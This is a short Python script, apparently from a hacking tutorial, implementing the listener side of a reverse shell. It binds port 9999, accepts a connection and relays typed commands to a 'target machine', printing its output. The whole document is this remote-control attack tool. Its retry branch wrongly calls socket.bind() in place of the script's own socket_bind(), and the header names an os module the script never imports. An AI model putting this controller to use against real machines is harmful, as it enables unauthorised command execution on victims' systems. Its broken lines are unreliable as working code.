Modules: socket, os | Creating a server

import socket
import sys

#Socket creation

def socket_create():
    try:
        global host
        global port
        global s

        host = ''
        port = 9999

        s = socket.socket()

    except socket.error as msg:
        print('[!] Socket creation error: ' + str(msg))

def socket_bind():
    try:
        global host
        global port
        global s
        print('[+] Binding socket to port: ' + str(port))
        s.bind((host, port)) # Binds host and port and waits for connection from client
        s.listen(5)
    except socket.error as msg: # Displays error message then retrys command
        print('[!] Socket binding error: ' + str(msg) + '\n' + 'Retrying...')
        socket.bind()



# Established a connection with client (socket must be listening)

def socket_accept():
    conn, address = s.accept()
    print('Connection has been established\n' + 'IP: ' + address[0] + '\n' + 'Port: ' + str(address[1]))
    send_commands(conn)
    conn.close()


#Send commands to target machine

def send_commands(conn):
    while True:
        # what ever written into cmd will become cmd variable
        cmd = input()
        if cmd == 'quit':
            conn.close()
            s.close()
            sys.exit()
        if len(str.encode(cmd)) > 0:
            conn.send(str.encode(cmd))
            client_response = str(conn.recv(1024), 'utf-8')
            print(client_response)

def main():
    socket_create()
    socket_bind()
    socket_accept()

main()